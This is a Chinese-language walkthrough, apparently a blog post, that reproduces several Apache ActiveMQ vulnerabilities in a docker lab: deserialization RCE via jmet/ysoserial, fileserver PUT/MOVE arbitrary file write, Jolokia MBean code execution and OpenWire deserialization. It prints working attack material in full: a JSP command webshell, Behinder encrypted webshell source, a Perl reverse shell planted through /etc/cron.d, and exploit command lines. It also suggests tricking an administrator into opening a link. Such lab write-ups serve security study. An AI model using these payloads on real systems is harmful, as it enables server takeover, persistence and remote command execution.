赞
踩
影响版本:Apache ActiveMQ 5.13.0之前5.x版本。apache中间件漏洞
漏洞成因:程序没有限制可在代理中序列化的类,远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage
对象利用该漏洞执行任意代码。
docker-compose up -d # 启动环境
环境运行后,将监听61616
和8161
两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://127.0.0.1:8161
即可看到web管理页面,不过这个漏洞理论上是不需要web的。
漏洞发现:
构造可供执行的序列化对象,jmet用ysoserial
工具生成 Payload 并发送,需要选择ysoserial
工具中的 gadget(例如 “ROME”)作为 Payload 的一部分,最终构造出具有特定目的的恶意数据。
给ActiveMQ添加一个事件队列
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.92.6 61616
注意:需要在
jmet-0.1.0-all.jar
文件所属路径下新建一个external
文件夹。
访问http://192.168.92.6:8161/admin/browse.jsp?JMSDestination=event
,用户名、密码均为admin
,即可看到成功发送队列,点击该队列,即可触发命令执行
docker exec -it <container> /bin/bash # 进入容器
注意:通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
ActiveMQ的web控制台分三个应用:admin
、api
和fileserver
,其中admin
是管理员页面,api
是接口,fileserver
是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver
是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
版本要求:ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml
中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
本漏洞出现在fileserver
应用中,漏洞原理其实非常简单,就是**fileserver
支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)**。所以,只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。文件写入有几种利用方法:
- 写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;
- 写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;
- 写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。默认的ActiveMQ账号密码均为admin,首先访问http://192.168.92.6:8161/admin/test/systemProperties.jsp
,查看ActiveMQ的绝对路径:
使用哥斯拉生成大马,并上传
PUT /fileserver/1.txt HTTP/1.1 Host: 192.168.92.6:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 120976 <%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp
)中:
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s1.jsp
Host: 192.168.92.6:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
访问http://192.168.92.6:8161/api/
,查看是否存在脚本文件。
s.jsp
为哥斯拉生成的jsp木马,密码默认;s1.jsp
为常规jsp木马<%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
直接使用cmd传参即可
s2.jsp
为冰蝎木马<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%!class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } }%> <%if (request.getMethod().equals("POST")) { String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new >sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(page>Context); }%>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
首先上传cron配置文件(注意,换行一定要\n
,不能是\r\n
,否则crontab执行会失败)。
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.92.6:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.92.6";$p=444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
成功获取shell。
这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。
ActiveMQ后台存在Jolokia
代码执行漏洞,在ActiveMQ中,经过身份验证的远程攻击者下可通过/api/jolokia/
接口操作MBean,成功利用此漏洞可导致远程代码执行。
影响版本:Apache ActiveMQ < 5.16.6
,5.17.0< Apache ActiveMQ < 5.17.4
。
访问192.168.92.6:8161
,用户名和密码均为admin
。访问http://192.168.92.6:8161/api/jolokia/list
,需要发送上面的数据包:
GET /api/jolokia/list HTTP/1.1
Host: 192.168.92.6:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean
,这是由Log4j2提供的一个MBean(就是一个java接口)。攻击者使用这个MBean中的setConfigText
操作可以更改Log4j的配置,进而将日志文件写入任意目录中。使用poc脚本来复现完整的过程:
python poc.py -u admin -p admin http://192.168.92.6:8161
这个方法受到ActiveMQ版本的限制,因为Log4j2是在5.17.0中才引入Apache ActiveMQ。
第二个可利用的Mbean是jdk.management.jfr.FlightRecorderMXBean
。FlightRecorder是在OpenJDK 11中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件。使用poc脚本来复现完整的过程(使用–exploit参数指定使用的方法):
python poc.py -u admin -p admin --exploit jfr http://192.168.92.6:8161
漏洞原理
允许具有代理网络访问权限的远程攻击者“通过操纵OpenWire协议中的序列化类类型来运行任意shell命令,从而使代理实例化类路径上的任何类”,问题的根本原因是不安全的反序列化。
影响版本
Apache ActiveMQ 5.18.0 < 5.18.3
Apache ActiveMQ 5.17.0 < 5.17.6
Apache ActiveMQ 5.16.0 < 5.16.7
Apache ActiveMQ < 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 < 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 < 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 < 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 < 5.15.16
ActiveMQ运行后,默认监听如下两个端口:
反序列化漏洞出现在61616端口中。
访问192.168.92.6:8161
,用户名、密码仍然为admin
,说明服务已开启。
建立http服务,并且包含poc.html
python -m http.server 8888
执行poc.py,传入的三个参数分别是目标服务器地址、端口,以及包含poc.xml的反连平台URL:
python poc.py 192.168.92.6 61616 http://192.168.92.6:8888/poc.xml
进入容器,查看文件是否创建成功:
docker exec <容器名称> ls -l /tmp
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。